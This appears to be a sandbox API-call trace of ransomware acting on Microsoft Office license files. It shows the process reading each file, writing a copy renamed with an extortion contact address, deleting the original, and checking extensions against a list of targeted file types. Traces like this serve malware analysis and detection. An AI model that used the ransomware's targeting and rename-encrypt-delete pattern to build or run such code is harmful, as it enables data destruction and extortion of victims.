	[0200.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 0x220
	[0200.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.919] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.919] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.476] GetLastError () returned 0x0
	[0201.476] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0201.478] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0201.479] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.479] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0201.479] SetEndOfFile (hFile=0x5d0) returned 1
	[0201.479] CloseHandle (hObject=0x5d0) returned 1
	[0201.480] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.480] SetEndOfFile (hFile=0x580) returned 1
	[0201.483] CloseHandle (hObject=0x580) returned 1
	[0201.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1
	[0201.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.485] lstrlenW (lpString=".doc") returned 4
	[0201.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".docx") returned 5
	[0201.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.486] lstrlenW (lpString=".pdf") returned 4
	[0201.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".xls") returned 4
	[0201.486] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".xlsx") returned 5
	[0201.486] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.486] lstrlenW (lpString=".ppt") returned 4
	[0201.486] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString=".zip") returned 4
	[0201.486] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".rar") returned 4
	[0201.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".bz2") returned 4
	[0201.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString=".7z") returned 3
	[0201.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString=".dbf") returned 4
	[0201.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString=".1cd") returned 4
	[0201.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString=".jpg") returned 4
	[0201.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.486] lstrlenW (lpString=".doc") returned 4
	[0201.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".docx") returned 5
	[0201.487] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.487] lstrlenW (lpString=".pdf") returned 4
	[0201.487] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".xls") returned 4
	[0201.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".xlsx") returned 5
	[0201.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.487] lstrlenW (lpString=".ppt") returned 4
	[0201.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.487] lstrlenW (lpString=".zip") returned 4
	[0201.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".rar") returned 4
	[0201.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".bz2") returned 4
	[0201.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString=".7z") returned 3
	[0201.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.487] lstrlenW (lpString=".dbf") returned 4
	[0201.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.487] lstrlenW (lpString=".1cd") returned 4
	[0201.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86
	[0201.487] lstrlenW (lpString=".jpg") returned 4
	[0201.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.487] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.488] lstrlenW (lpString="O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 37
	[0201.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.488] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11635) returned 1
	[0201.488] CloseHandle (hObject=0x580) returned 1
	[0201.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0201.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.489] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.489] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.490] GetLastError () returned 0x0
	[0201.490] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0201.492] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0201.493] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.493] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0201.494] SetEndOfFile (hFile=0x5d0) returned 1
	[0201.494] CloseHandle (hObject=0x5d0) returned 1
	[0201.494] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.494] SetEndOfFile (hFile=0x580) returned 1
	[0201.496] CloseHandle (hObject=0x580) returned 1
	[0201.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0201.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.498] lstrlenW (lpString=".doc") returned 4
	[0201.498] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".docx") returned 5
	[0201.498] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.498] lstrlenW (lpString=".pdf") returned 4
	[0201.498] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".xls") returned 4
	[0201.498] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".xlsx") returned 5
	[0201.498] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.498] lstrlenW (lpString=".ppt") returned 4
	[0201.498] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.498] lstrlenW (lpString=".zip") returned 4
	[0201.498] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".rar") returned 4
	[0201.498] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".bz2") returned 4
	[0201.498] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.498] lstrlenW (lpString=".7z") returned 3
	[0201.498] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.498] lstrlenW (lpString=".dbf") returned 4
	[0201.499] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString=".1cd") returned 4
	[0201.499] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString=".jpg") returned 4
	[0201.499] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString=".doc") returned 4
	[0201.499] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".docx") returned 5
	[0201.499] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.499] lstrlenW (lpString=".pdf") returned 4
	[0201.499] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".xls") returned 4
	[0201.499] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".xlsx") returned 5
	[0201.499] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.499] lstrlenW (lpString=".ppt") returned 4
	[0201.499] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString=".zip") returned 4
	[0201.499] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".rar") returned 4
	[0201.499] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".bz2") returned 4
	[0201.499] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.499] lstrlenW (lpString=".7z") returned 3
	[0201.499] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.499] lstrlenW (lpString=".dbf") returned 4
	[0201.500] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.500] lstrlenW (lpString=".1cd") returned 4
	[0201.500] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87
	[0201.500] lstrlenW (lpString=".jpg") returned 4
	[0201.500] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.500] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.500] lstrlenW (lpString="O365HomePremR_SubTrial2-pl.xrm-ms") returned 33
	[0201.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.501] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11183) returned 1
	[0201.501] CloseHandle (hObject=0x580) returned 1
	[0201.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220
	[0201.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.501] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.501] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.502] GetLastError () returned 0x0
	[0201.502] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0201.504] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0201.506] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.506] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x116, lpOverlapped=0x0) returned 1
	[0201.506] SetEndOfFile (hFile=0x5d0) returned 1
	[0201.506] CloseHandle (hObject=0x5d0) returned 1
	[0201.506] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.506] SetEndOfFile (hFile=0x580) returned 1
	[0201.509] CloseHandle (hObject=0x580) returned 1
	[0201.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.511] lstrlenW (lpString=".doc") returned 4
	[0201.511] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".docx") returned 5
	[0201.511] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.511] lstrlenW (lpString=".pdf") returned 4
	[0201.511] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".xls") returned 4
	[0201.511] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".xlsx") returned 5
	[0201.511] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.511] lstrlenW (lpString=".ppt") returned 4
	[0201.511] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.511] lstrlenW (lpString=".zip") returned 4
	[0201.511] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".rar") returned 4
	[0201.511] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".bz2") returned 4
	[0201.511] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString=".7z") returned 3
	[0201.511] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.511] lstrlenW (lpString=".dbf") returned 4
	[0201.511] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.511] lstrlenW (lpString=".1cd") returned 4
	[0201.511] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString=".jpg") returned 4
	[0201.512] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString=".doc") returned 4
	[0201.512] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".docx") returned 5
	[0201.512] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.512] lstrlenW (lpString=".pdf") returned 4
	[0201.512] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".xls") returned 4
	[0201.512] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".xlsx") returned 5
	[0201.512] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.512] lstrlenW (lpString=".ppt") returned 4
	[0201.512] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString=".zip") returned 4
	[0201.512] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".rar") returned 4
	[0201.512] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".bz2") returned 4
	[0201.512] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.512] lstrlenW (lpString=".7z") returned 3
	[0201.512] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString=".dbf") returned 4
	[0201.512] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
